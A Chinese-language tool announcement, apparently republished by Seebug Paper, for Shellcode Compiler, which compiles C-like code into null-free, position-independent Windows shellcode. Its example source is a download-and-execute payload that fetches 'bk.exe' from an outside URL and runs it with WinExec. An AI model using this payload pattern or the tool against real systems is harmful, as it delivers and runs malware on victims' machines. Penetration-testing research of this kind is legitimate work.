項目地址:https://github.com/NytroRST/ShellcodeCompiler

Shellcode Compiler 是一款能將 C/C++ 代碼編譯成體積小,位置無關和無 NULL 字節的 Windows shellcode 的工具。它能以用戶友好的方式調用任何 Windows API 函數。

Shellcode Compiler 將輸入的源文件用自己的編譯器來解釋代碼,并生成一個由 NASM(http://www.nasm.us/)匯編生成的匯編文件。

Shellcode Compiler 與 2016 年 11 月在羅馬尼亞的 DefCamp 安全會議上發布。

命令行選項

    -h (--help)      : Show this help message
    -v (--verbose)   : Print detailed output
    -t (--test)      : Test (execute) generated shellcode
    -r (--read)      : Read source code file
    -o (--output)    : Output file of the generated binary shellcode
    -a (--assembbly) : Output file of the generated assembly code

源碼示例

    function URLDownloadToFileA("urlmon.dll");
    function WinExec("kernel32.dll");
    function ExitProcess("kernel32.dll");

    URLDownloadToFileA(0,"https://site.com/bk.exe","bk.exe",0,0);
    WinExec("bk.exe",0);
    ExitProcess(0);

調用示例

ShellcodeCompiler.exe -r Source.txt -o Shellcode.bin -a Assembly.asm

一些限制

  1. 不能使用調用 API 的返回值
  2. 不能使用指針或緩沖區
  3. 不能聲明變量

而所有這些限制將盡快修復,然而還會存在一些限制。這是一個 Alpha 版本。歡迎提交 bug 和建議。

作者

Ionut Popescu (@NytroRST) 是 SecureWorks (www.secureworks.com) 的高級滲透測試工程師。


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.jmbmsq.com/134/